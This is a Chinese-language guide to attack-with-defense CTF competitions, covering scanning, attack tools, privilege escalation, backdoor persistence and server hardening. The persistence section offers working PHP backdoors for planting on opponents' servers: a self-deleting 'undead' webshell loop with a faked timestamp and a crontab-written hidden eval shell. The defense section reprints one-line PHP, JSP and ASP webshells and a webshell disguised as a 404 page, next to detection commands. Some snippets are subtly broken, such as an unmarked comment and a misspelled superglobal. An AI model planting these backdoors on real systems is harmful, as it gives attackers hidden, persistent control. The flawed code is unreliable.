1.比赛介绍
(1)比赛环境
(2)常见服务器信息介绍
-
比赛名称
-
白名单:一般用于防止外部恶意攻击,如果赛方发现名单以外IP可能会进行封禁处理。
-
服务器账号密码
-
Token和虚拟IP:token为提交答案的凭证,绑定了队伍;虚拟IP为靶机访问网址。
-
其他选手地址:例如192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字,需要自己扫描可ping通ip并记录。
-
Flag提交区域
-
提交脚本API:最好提前写好提交脚本
(3)题型
-
主要题型为WEB和PWN,涉及语言多数为PHP,还有少量Java、Python。
-
WEB主要是一些CMS和框架安全漏洞,如注入、上传和反序列化等,更多是依赖已知漏洞。
(4)攻防思路
2.攻击思路
(1)信息收集(攻击)
①主机探测(nmap、httpscan)
-
扫描C段存活主机
②端口探测(nmap)
-
首先搜集自己端口信息 ,再类比扫描其他主机
③应用发现(代表性文件)
-
组件发现
-
网站发现
-
日志发现
④备份扫描
https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具
https://github.com/maurosoria/dirsearch WEB网站目录扫描
(2)攻击主机端口
-
未授权访问漏洞利用总结参考: 未授权访问漏洞总结
-
部分利用工具参考:
https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇
https://github.com/shack2/SNETCracker 超级弱口令工具
https://github.com/se55i0n/DBScanner 数据库爆破工具
https://github.com/cwkiller/unauthorized-check 未授权检测工具
-
字典参考:
https://github.com/cpkkcb/fuzzDicts
GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。
(3)攻击Web服务
一般通过访问获取的端口就能访问到预设的WEB靶场,Web环境分为两种:
-
已有漏洞框架:如Struts2各种漏洞等等,提前准备好工具扫出来
-
出题人设计框架:分析WEB日志,学习其他选手攻击思路和漏洞利用过程
(4)权限提升
Linux 提权总结 - 腾讯云开发者社区-腾讯云 一般提权
https://github.com/SecWiki/linux-kernel-exploits 提权脚本
(5)权限维持
拿到WEBSHELL后,需要维持权限!简单的WEBSHELL 一眼就会被识别,在AWD 中优先考虑种不死马、反弹 SHELL等留后门方式维持权限,以便后续刷 FLAG,再考虑提升权限。
-
隐藏的文件读取(条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现)
-
PHP不死马案例
<?php
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
-
定时马案例
system('echo "* * * * * echo \"<?php if(md5(\\\\\\\\\$_POST[pass])==
\'7b7fdffef464019f7190d0384d5b3838\'){@eval(\\\\\\\\\$_POST[1]);} \" >/var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');
(6)快速得分
-
编写Python脚本(后续补充)
-
CURL工具批量获取Flag(后续补充)
-
批量利用框架工具参考:https://github.com/Ares-X/AWD-Predator-Framework
3.防御技术
(1)网站备份
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
②解压文件
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html
mv web.tar /tmp
mv web.zip /home/xxx
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器
(2)数据备份
(3)信息收集(防御)
netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG
(4)口令更改
passwd username #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’ #查找配置文件中的密码凭证
(5)备份检查(防止备份被删除)
find /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip"
(6)后门查杀(要不断监控)
find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
-
一般查杀 : 河马WEBSHELL和D盾查杀
# phpwebshell
<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUESTS['cmd']); ?>
# jspwebshell
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# aspwebshell
<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>
-
不死马查杀:杀进程后重启服务、写一个同名的文件夹和写一个sleep时间低于别人的马(或者写一个脚本不断删除别人的马)
<?php
system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定
?>
-
后门用户查杀:UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用userdel -r username 完全删除账户
-
其他查杀 :部分后门过于隐蔽,可以使用 ls -al命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等
经典preg_replace伪装的404后门示例:
使用菜刀连接 密码:error
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');
?>
ps -aux #查看进程
kill -9 pid #强制进程查杀
netstat -anp #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙
-
Web常见漏洞描述及修复建议 - 我超怕的 - 博客园 常规漏洞修复建议
-
PHP中的安全函数 - 踏雪无痕SS - 博客园 PHP安全函数
-
文件监控脚本: GitHub - TheKingOfDuck/FileMonitor: 文件变化实时监控工具(代码审计/黑盒/白盒审计辅助工具)
-
常见PHP网站系统WAF添加路径:
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
-
WAF脚本参考: GitHub - sharpleung/CTF-WAF: 针对CTF线下赛的通用WAF,日志审计功能。